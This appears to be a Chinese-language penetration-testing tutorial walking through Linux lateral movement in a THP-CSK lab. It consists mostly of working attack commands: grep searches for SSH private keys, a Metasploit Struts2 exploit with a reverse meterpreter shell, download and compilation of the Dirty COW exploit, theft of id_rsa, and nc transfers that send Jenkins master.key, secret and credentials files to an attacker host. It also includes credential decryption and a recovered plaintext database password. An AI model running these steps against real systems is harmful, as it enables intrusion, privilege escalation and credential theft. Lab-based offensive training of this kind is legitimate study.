内网对抗-横向移动篇&Linux到Linux&SSH协议&密匙对文件登录&历史命令&Jenkins攻击
➢ 横向移动-Linux靶场-SSH协议&RSA密匙凭证
➢ 横向移动-Linux靶场-提权&SSH&密匙&Jenkins
Linux横向移动手法相对Windows来说较少,相对来说只有利用SSH、Web上的漏洞等较少方式去获得权限 在SSH协议中,连接到主机可采用两种登录方式:密码登录方式、密钥登录方式,相关利用:
1、密码登录方式:爆破
2、密钥登录方式:获取秘钥
敏感文件
~/.ssh/config #配置 ssh 连接相关参数的配置文件
~/.ssh/known_hosts # 该服务器所有登录过的服务器的信息
~/.bash_history # 通过历史命令看该服务器中有没有使用ssh私钥去连接服务器
搜索含有SSH凭证文件
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
寻找密钥对文件:
1、通过历史命令看看有没有连接过主机采用的文件
2、通过搜索内容查看哪些符合密钥对文件的特征
3、通过查看敏感文件中的配置型信息获取文件
实验1:阿里云服务器(密钥对登录)
ssh -i test.pem root@xx.xx.xx.xx
实验2:THP-CSK靶场
实验环境总计三台Linux主机,相关信息如下:
172.16.250.10:WEB服务对外开放,可以直接访问
172.16.250.30:Jenkins应用只允许当前内网环境的主机访问
172.16.250.50:数据库服务器,不出网,用于实现站库分离设计模式
1、Web DMZ权限获取
信息收集:
nmap 172.16.250.0/24
172.16.250.10 80开放
/struts2-showcase
利用漏洞:
msfconsole
use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 172.16.250.10
set lport 80
run
权限提升:
curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c
upload /root/dirtycow-mem.c /tmp
shell
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
python3 -c "import pty;pty.spawn('/bin/bash')"
./dirtycow-mem
持续稳定:
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
横向移动:
/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
cat ~/.bash_history
cp ~/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa
download /tmp/id_rsa /root/id_rsa
chmod 0600 id_rsa
ssh -i id_rsa root@172.16.250.30
2、Jenkins DMZ权限获取
信息收集:
getuid
netstat -anpt
172.16.250.30 8080开放
添加路由:
run post/multi/manage/autoroute
建立节点:
use auxiliary/server/socks_proxy
vim /etc/proxychains4.conf
172.16.250.30 8080开放 jenkins服务
攻击Jenkins:(漏洞或密钥利用)
https://github.com/TheBeastofwar/JenkinsExploit-GUI
nc -lvp 1234 > master.key
nc -lvp 1234 > hudson.util.Secret
nc -lvp 1234 > credentials.xml
nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml
破解密匙:(联想前面的jdbc连接信息及用户名db_backup->目标为50)
https://github.com/cheetz/jenkins-decrypt
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=
jenkins加密算法密文:2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=
需要三个文件:master.key hudson.util.Secret credentials.xml
python decrypt.py master.key hudson.util.Secret credentials.xml
3、Database DMZ权限获取
密码横向:
ssh db_backup@172.16.250.50
)uDvra{4UL^;r?*h
权限提升:
sudo su